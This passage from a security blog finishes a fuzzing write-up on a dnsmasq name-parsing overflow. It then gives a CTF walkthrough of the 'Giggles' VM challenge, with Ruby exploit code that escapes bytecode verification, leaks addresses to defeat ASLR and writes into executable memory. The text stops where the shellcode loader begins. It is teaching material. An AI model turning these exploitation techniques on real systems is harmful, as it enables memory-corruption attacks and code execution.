    I haven't measured how far into that structure you can write, but the total number of bytes we can write into the 1024-byte buffer is 1368 bytes, so somewhere in the realm of the first 300 bytes are at risk.

    The reason we saw a "null pointer dereference" and also a "write NUL byte to arbitrary memory" are both because we overwrote variables from that structure that are used later.

    Patch

    The patch is pretty straight forward: add 1 to namelen for the periods. There was a second version of the same vulnerability (forgotten period) in the 0x40 handler as well.

    But..... I'm concerned about the whole idea of building a string and tracking the length next to it. That's a dangerous design pattern, and the chances of regressing when modifying any of the name parsing is high.

    Exploit so-far

    I started writing an exploit for it. Before I stopped, I basically found a way to brute-force build a string that would overwrite an arbitrary number of bytes by adding the right amount of padding and the right number of periods. That turned out to be a fairly difficult job, because there are various things you have to juggle (the padding at the front of the string and the size of the repeated field). It turns out, the maximum length you can get is 1368 bytes put into a 1024-byte buffer.

    You can download it here.

    ...why it never got famous

    I held this back throughout the blog because it's the sad part. :)

    It turns out, since I was working from the git HEAD version, it was brand new code. After bissecting versions to figure out where the vulnerable code came from, I determined that it was present only in 2.73rc5 - 2.73rc7. After I reported it, the author rolled out 2.73rc8 with the fix.

    It was disappointing, to say the least, but on the plus side the process was interesting enough to write about! :)

    Conclusion

    So to summarize everything...

    • I modified dnsmasq to read packets from a file instead of the network, then used afl-fuzz to fuzz and crash it.
    • I found a vulnerability that was recently introduced, when parsing "\xc0\x0c" names + using periods.
    • I triaged the vulnerability, and started writing an exploit.
    • Determined that the vulnerability was in brand new code, so I gave up on the exploit and decided to write a blog instead.

    And who knows, maybe somebody will develop one for fun? If anybody does, I'll give them a month of Reddit Gold!!!! :)

    (I'm kidding about using that as a motivator, but I'll really do it if anybody bothers :P)

    GitS 2015: Giggles (off-by-one virtual machine)

    Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink!

    Now, down to business: this writeup is about one of the Pwnage 300 levels; specifically, Giggles, which implements a very simple and very vulnerable virtual machine. You can download the binary here, the source code here (with my comments - I put XXX near most of the vulnerabilities and bad practices I noticed), and my exploit here.

    One really cool aspect of this level was that they gave source code, a binary with symbols, and even a client (that's the last time I'll mention their client, since I dislike Python :) )! That means we could focus on exploitation and not reversing!

    The virtual machine

    I'll start by explaining how the virtual machine actually works. If you worked on this level yourself, or you don't care about the background, you can just skip over this section.

    Basically, there are three operations: TYPE_ADDFUNC, TYPE_VERIFY, and TYPE_RUNFUNC.

    The usual process is that the user adds a function using TYPE_ADDFUNC, which is made up of one (possibly zero?) or more operations. Then the user verifies the function, which checks for bounds violations and stuff like that. Then if that succeeds, the user can run the function. The function can take up to 10 arguments and output as much as it wants.

    There are only seven different opcodes (types of operations), and one of the tricky parts is that none of them deal with absolute values—only other registers. They are:

    • OP_ADD reg1, reg2 - add two registers together, and store the result in reg1
    • OP_BR <addr> - branch (jump) to a particular instruction - the granularity of these jumps is actually per-instruction, not per-byte, so you can't jump into the middle of another instruction, which ruined my initial instinct :(
    • OP_BEQ <addr> <reg1> <reg2> / OP_BGT <addr> <reg1> <reg2> - branch if equal and branch if greater than are basically the same as OP_BR, except the jumps are conditional
    • OP_MOV <reg1> <reg2< - set reg1 to equal reg2
    • OP_OUT <reg> - output a register (gets returned as a hex value by RUNFUNC)
    • OP_EXIT - terminate the function

    To expand on the output just a bit - the program maintains the output in a buffer that's basically a series of space-separated hex values. At the end of the program (when it either terminates or OP_EXIT is called), it's sent back to the client. I was initially worried that I would have to craft some hex-with-spaces shellcode, but thankfully that wasn't necessary. :)

    There are 10 different registers that can be accessed. Each one is 32 bits. The operand values, however, are all 64-bit values.

    The verification process basically ensures that the registers and the addresses are mostly sane. Once it's been validated, a flag is switched and the function can be called. If you call the function before verifying it, it'll fail immediately. If you can use arbitrary bytecode instructions, you'd be able to address register 1000000, say, and read/write elsewhere in memory. They wanted to prevent that.

    Speaking of the vulnerability, the bug that leads to full code execution is in the verify function - can you find it before I tell you?

    The final thing to mention is arguments: when you call TYPE_RUNFUNC, you can pass up to I think 10 arguments, which are 32-bit values that are placed in the first 8 registers.

    Fixing the binary

    I've gotten pretty efficient at patching binaries for CTFs! I've talked about this before, so I'll just mention what I do briefly.

    I do these things immediately, before I even start working on the challenge:

    • Replace the call to alarm() with NOPs
    • Replace the call to fork() with "xor eax, eax", followed by NOPs
    • Replace the call to drop_privs() with NOPs
    • (if I can find it)

    That way, the process won't be killed after a timeout, and I can debug it without worrying about child processes holding onto ports and other irritations. NOPing out drop_privs() means I don't have to worry about adding a user or running it as root or creating a folder for it. If you look at the objdump outputs diffed, here's what it looks like:

    --- a   2015-01-27 13:30:29.000000000 -0800
    +++ b   2015-01-27 13:30:31.000000000 -0800
    @@ -1,5 +1,5 @@
    
    -giggles:     file format elf64-x86-64
    +giggles-fixed:     file format elf64-x86-64
    
    
     Disassembly of section .interp:
    @@ -1366,7 +1366,10 @@
         125b:      83 7d f4 ff             cmp    DWORD PTR [rbp-0xc],0xffffffff
         125f:      75 02                   jne    1263 <loop+0x3d>
         1261:      eb 68                   jmp    12cb <loop+0xa5>
    -    1263:      e8 b8 fc ff ff          call   f20 <fork@plt>
    +    1263:      31 c0                   xor    eax,eax
    +    1265:      90                      nop
    +    1266:      90                      nop
    +    1267:      90                      nop
         1268:      89 45 f8                mov    DWORD PTR [rbp-0x8],eax
         126b:      83 7d f8 ff             cmp    DWORD PTR [rbp-0x8],0xffffffff
         126f:      75 02                   jne    1273 <loop+0x4d>
    @@ -1374,14 +1377,26 @@
         1273:      83 7d f8 00             cmp    DWORD PTR [rbp-0x8],0x0
         1277:      75 48                   jne    12c1 <loop+0x9b>
         1279:      bf 1e 00 00 00          mov    edi,0x1e
    -    127e:      e8 6d fb ff ff          call   df0 <alarm@plt>
    +    127e:      90                      nop
    +    127f:      90                      nop
    +    1280:      90                      nop
    +    1281:      90                      nop
    +    1282:      90                      nop
         1283:      48 8d 05 b6 1e 20 00    lea    rax,[rip+0x201eb6]        # 203140 <USER>
         128a:      48 8b 00                mov    rax,QWORD PTR [rax]
         128d:      48 89 c7                mov    rdi,rax
    -    1290:      e8 43 00 00 00          call   12d8 <drop_privs_user>
    +    1290:      90                      nop
    +    1291:      90                      nop
    +    1292:      90                      nop
    +    1293:      90                      nop
    +    1294:      90                      nop
         1295:      8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
         1298:      89 c7                   mov    edi,eax
    
    

    I just use a simple hex editor on Windows, xvi32.exe, to take care of that. But you can do it in countless other ways, obviously.

    What's wrong with verifyBytecode()?

    Have you found the vulnerability yet?

    I'll give you a hint: look at the comparison operators in this function:

    int verifyBytecode(struct operation * bytecode, unsigned int n_ops)
    {
        unsigned int i;
        for (i = 0; i < n_ops; i++)
        {
            switch (bytecode[i].opcode)
            {
                case OP_MOV:
                case OP_ADD:
                    if (bytecode[i].operand1 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand2 > NUM_REGISTERS)
                        return 0;
                    break;
                case OP_OUT:
                    if (bytecode[i].operand1 > NUM_REGISTERS)
                        return 0;
                    break;
                case OP_BR:
                    if (bytecode[i].operand1 > n_ops)
                        return 0;
                    break;
                case OP_BEQ:
                case OP_BGT:
                    if (bytecode[i].operand2 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand3 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand1 > n_ops)
                        return 0;
                    break;
                case OP_EXIT:
                    break;
                default:
                    return 0;
            }
        }
        return 1;
    }
    

    Notice how it checks every operation? It checks if the index is greater than the maximum value. That's an off-by-one error. Oops!

    Information leak

    There are actually a lot of small issues in this code. The first good one I noticed was actually that you can output one extra register. Here's what I mean (grab my exploit if you want to understand the API):

    def demo()
      s = TCPSocket.new(SERVER, PORT)
    
      ops = []
      ops << create_op(OP_OUT, 10)
      add(s, ops)
      verify(s, 0)
      result = execute(s, 0, [])
    
      pp result
    end
    

    The output of that operation is:
    "42fd35d8 "

    Which, it turns out, is a memory address that's right after a "call" function. A return address!? Can it be this easy!?

    It turns out that, no, it's not that easy. While I can read / write to that address, effectively bypasing ASLR, it turned out to be some left-over memory from an old call. I didn't even end up using that leak, either, I found a better one!

    The actual vulnerabilitiy

    After finding the off-by-one bug that let me read an extra register, I didn't really think much more about it. Later on, I came back to the verifyBytecode() function and noticed that the BR/BEQ/BGT instructions have the exact same bug! You can branch to the last instruction + 1, where it keeps running unverified memory as if it's bytecode!

    What comes after the last instruction in memory? Well, it turns out to be a whole bunch of zeroes (00 00 00 00...), then other functions you've added, verified or otherwise. An instruction is 26 bytes long in memory (two bytes for the opcode, and three 64-bit operands), and the instruction "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" actually maps to "add reg0, reg0", which is nice and safe to do over and over again (although it does screw up the value in reg0).

    Aligning the interpreter

    At this point, it got a bit complicated. Sure, I'd found a way to break out of the sandbox to run unverified code, but it's not as straight forward as you might think.

    The problem? The spacing of the different "functions" in memory (that is, groups of operations) aren't multiples of 26 bytes apart, thanks to headers, so if you break out of one function and into another, you wind up trying to execute bytecode that's somewhat offset.

    In other words, if your second function starts at address 0, the interpreter tries to run the bytecode at -12 (give or take). The bytecode at -12 just happens to be the number of instructions in the function, so the first opcode is actually equal to the number of operations (so if you have three operations in the function, the first operation will be opcode 3, or BEQ). Its operands are bits and pieces of the opcodes and operands. Basically, it's a big mess.

    To get this working, I wanted to basically just skip over that function altogether and run the third function (which would hopefully be a little better aligned). Basically, I wanted the function to do nothing dangerous, then continue on to the third function.

    Here's the code I ended up writing (sorry the formatting isn't great, check out the exploit I linked above to see it better):

    # This creates a valid-looking bytecode function that jumps out of bounds,
    # then a non-validated function that puts us in a more usable bytecode
    # escape
    def init()
      puts("[*] Connecting to #{SERVER}:#{PORT}")
      s = TCPSocket.new(SERVER, PORT)
      #puts("[*] Connected!")
    
      ops = []
    
      # This branches to the second instruction - which doesn't exist
      ops << create_op(OP_BR, 1)
      add(s, ops)
      verify(s, 0)
    
      # This little section takes some explaining. Basically, we've escaped the bytecode
      # interpreter, but we aren't aligned properly. As a result, it's really irritating
      # to write bytecode (for example, the code of the first operation is equal to the
      # number of operations!)
      #
      # Because there are 4 opcodes below, it performs opcode 4, which is 'mov'. I ensure
      # that both operands are 0, so it does 'mov reg0, reg0'.
      #
      # After that, the next one is a branch (opcode 1) to offset 3, which effectively
      # jumps past the end and continues on to the third set of bytecode, which is out
      # ultimate payload.
    
      ops = []
      # (operand = count)
      #                  |--|               |---|                                          <-- inst1 operand1 (0 = reg0)
      #                          |--------|                    |----|                      <-- inst1 operand2 (0 = reg0)
      #                                                                        |--|        <-- inst2 opcode (1 = br)
      #                                                                  |----|            <-- inst2 operand1
      ops << create_op(0x0000, 0x0000000000000000, 0x4242424242000000, 0x00003d0001434343)
      #                  |--|              |----|                                          <-- inst2 operand1
      ops << create_op(0x0000, 0x4444444444000000, 0x4545454545454545, 0x4646464646464646)
      # The values of these don't matter, as long as we still have 4 instructions
      ops << create_op(0xBBBB, 0x4747474747474747, 0x4848484848484848, 0x4949494949494949)
      ops << create_op(0xCCCC, 0x4a4a4a4a4a4a4a4a, 0x4b4b4b4b4b4b4b4b, 0x4c4c4c4c4c4c4c4c)
    
      # Add them
      add(s, ops)
    
      return s
    end
    

    The comments explain it pretty well, but I'll explain it again. :)

    The first opcode in the unverified function is, as I mentioned, equal to the number of operations. We create a function with 4 operations, which makes it a MOV instruction. Performing a MOV is pretty safe, especially since reg0 is already screwed up.

    The two operands to instruction 1 are parts of the opcodes and operands of the first function. And the opcode for the second instruction is part of third operand in the first operation we create. Super confusing!

    Effectively, this ends up running:

    mov reg0, reg0
    br 0x3d
    ; [bad instructions that get skipped]
    

    I'm honestly not sure why I chose 0x3d as the jump distance, I suspect it's just a number that I was testing with that happened to work. The instructions after the BR don't matter, so I just fill them in with garbage that's easy to recognize in a debugger.

    So basically, this function just does nothing, effectively, which is exactly what I wanted.

    Getting back in sync

    I hoped that the third function would run perfectly, but because of math, it still doesn't. However, the operation count no longer matters in the third function, which is good enough for me! After doing some experiments, I determined that the instructions are unaligned by 0x10 (16) bytes. If you pad the start with 0x10 bytes then add instructions as normal, they'll run completely unverified.

    To build the opcodes for the third function, I added a parameter to the add() function that lets you offset things:

    #[...]
      # We have to cleanly exit
      ops << create_op(OP_EXIT)
    
      # Add the list of ops, offset by 10 (that's how the math worked out)
      add(s, ops, 16)
    #[...]
    

    Now you can run entirely unverified bytecode instructions! That means full read/write/execute of arbitrary addresses relative to the base address of the registers array. That's awesome! Because the registers array is on the stack, we have read/write access relative to a stack address. That means you can trivially read/write the return address and leak addresses of the binary, libc, or anything you want. ASLR bypass and RIP control instantly!

    Leaking addresses

    There are two separate sets of addresses that need to be leaked. It turns out that even though ASLR is enabled, the addresses don't actually randomize between different connections, so I can leak addresses, reconnect, leak more addresses, reconnect, and run the exploit. It's not the cleanest way to solve the level, but it worked! If this didn't work, I could have written a simple multiplexer bytecode function that does all these things using the same function.

    I mentioned I can trivially leak the binary address and a stack address. Here's how:

    # This function leaks two addresses: a stack address and the address of
    # the binary image (basically, defeating ASLR)
    def leak_addresses()
      puts("[*] Bypassing ASLR by leaking stack/binary addresses")
      s = init()
    
      # There's a stack address at offsets 24/25
      ops = []
      ops << create_op(OP_OUT, 24)
      ops << create_op(OP_OUT, 25)
    
      # 26/27 is the return address, we'll use it later as well!
      ops << create_op(OP_OUT, 26)
      ops << create_op(OP_OUT, 27)
    
      # We have to cleanly exit
      ops << create_op(OP_EXIT)
    
      # Add the list of ops, offset by 10 (that's how the math worked out)
      add(s, ops, 16)
    
      # Run the code
      result = execute(s, 0, [])
    
      # The result is a space-delimited array of hex values, convert it to
      # an array of integers
      a = result.split(/ /).map { |str| str.to_i(16) }
    
      # Read the two values in and do the math to calculate them
      @@registers = ((a[1] << 32) | (a[0])) - 0xc0
      @@base_addr = ((a[3] << 32) | (a[2])) - 0x1efd
    
      # User output
      puts("[*] Found the base address of the register array: 0x#{@@registers.to_s(16)}")
      puts("[*] Found the base address of the binary: 0x#{@@base_addr.to_s(16)}")
    
      s.close
    end
    

    Basically, we output registers 24, 25, 26, and 27. Since the OUT function is 4 bytes, you have to call OUT twice to leak a 64-bit address.

    Registers 24 and 25 are an address on the stack. The address is 0xc0 bytes above the address of the registers variable (which is the base address of our overflow, and therefore needed for calculating offsets), so we subtract that. I determined the 0xc0 value using a debugger.

    Registers 26 and 27 are the return address of the current function, which happens to be 0x1efd bytes into the binary (determined with IDA). So we subtract that value from the result and get the base address of the binary.

    I also found a way to leak a libc address here, but since I never got a copy of libc I didn't bother keeping that code around.

    Now that we have the base address of the binary and the address of the registers, we can use the OUT and MOV operations, plus a little bit of math, to read and write anywhere in memory.

    Quick aside: getting enough sleep

    You may not know this, but I work through CTF challenges very slowly. I like to understand every aspect of everything, so I don't rush. My secret is, I can work tirelessly at these challenges until they're complete. But I'll never win a race.

    I got to this point at around midnight, after working nearly 10 hours on this challenge. Most CTFers will wonder why it took 10 hours to get here, so I'll explain again: I work slowly. :)

    The problem is, I forgot one very important fact: that the operands to each operation are all 64-bit values, even though the arguments and registers themselves are 32-bit. That means we can calculate an address from the register array to anywhere in memory. I thought they were 32 bit, however, and since the process is 64-bit Ii'd be able to read/write the stack, but not addresses the binary! That wasn't true, I could write anywhere, but I didn't know that. So I was trying a bunch of crazy stack stuff to get it working, but ultimately failed.

    At around 2am I gave up and played video games for an hour, then finished the book I was reading. I went to bed about 3:30am, still thinking about the problem. Laying in bed about 4am, it clicked in that register numbers could be 64-bit, so I got up and finished it up for about 7am. :)

    The moral of this story is: sometimes it pays to get some rest when you're struggling with a problem!

    +rwx memory!?

    The authors of the challenge must have been feeling extremely generous: they gave us a segment of memory that's readable, writeable, and executable! You can write code to it then run it! Here's where it's declared:

    void * JIT;     // TODO: add code to JIT functions
    
    //[...]
    
        /* Map 4096 bytes of executable memory */
        JIT = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    A pointer to the memory is stored in a global variable. Since we have the ability to read an arbitrary address—once I realized my 64-bit problem—it was pretty easy to read the pointer:

    def leak_rwx_address()
      puts("[*] Attempting to leak the address of the mmap()'d +rwx memory...")
      s = init()
    
      # This offset is always constant, from the binary
      jit_ptr = @@base_addr + 0x20f5c0
    
      # Read both halves of the address - the read is relative to the stack-
      # based register array, and has a granularity of 4, hence the math
      # I'm doing here
      ops = []
      ops << create_op(OP_OUT, (jit_ptr - @@registers) / 4)
      ops << create_op(OP_OUT, ((jit_ptr + 4) - @@registers) / 4)
      ops << create_op(OP_EXIT)
      add(s, ops, 16)
      result = execute(s, 0, [])
    
      # Convert the result from a space-delimited hex list to an integer array
      a = result.split(/ /).map { |str| str.to_i(16) }
    
      # Read the address
      @@rwx_addr = ((a[1] << 32) | (a[0]))
    
      # User output
      puts("[*] Found the +rwx memory: 0x#{@@rwx_addr.to_s(16)}")
    
      s.close
    end
    
    

    Basically, we know the pointer to the JIT code is at the base_addr + 0x20f5c0 (determined with IDA). So we do some math with that address and the base address of the registers array (dividing by 4 because that's the width of each register).

    Finishing up

    Now that we can run arbitrary bytecode instructions, we can read, write, and execute any address. But there was one more problem: getting the code into the JIT memory.

    It seems pretty straight forward, since we can write to arbitrary memory, but there's a problem: you don't have any absolute values in the assembly language, which means I can't directly write a bunch of values to memory. What I could do, however, is write values from registers to memory, and I can set the registers by passing in arguments.

    BUT, reg0 gets messed up and two registers are wasted because I have to use them to overwrite the return address. That means I have 7 32-bit registers that I can use.

    What you're probably thinking is that I can implement a multiplexer in their assembly language. I could have some operands like "write this dword to this memory address" and build up the shellcode by calling the function multiple times with multiple arguments.

    If you're thinking that, then you're sharper than I was at 7am with no sleep! I decided that the best way was to write a shellcode loader in 24 bytes. I actually love writing short, custom-purpose shellcode, there's something satisfying about it. :)

    Here's my loader shellcode:

      # Create some loader shellcode. I'm not proud of this - it was 7am, and I hadn't
      # slept yet. I immediately realized after getting some sleep that there was a
      # way easier way to do this...
      params =
        # param0 gets overwritten, just store crap there
        "\x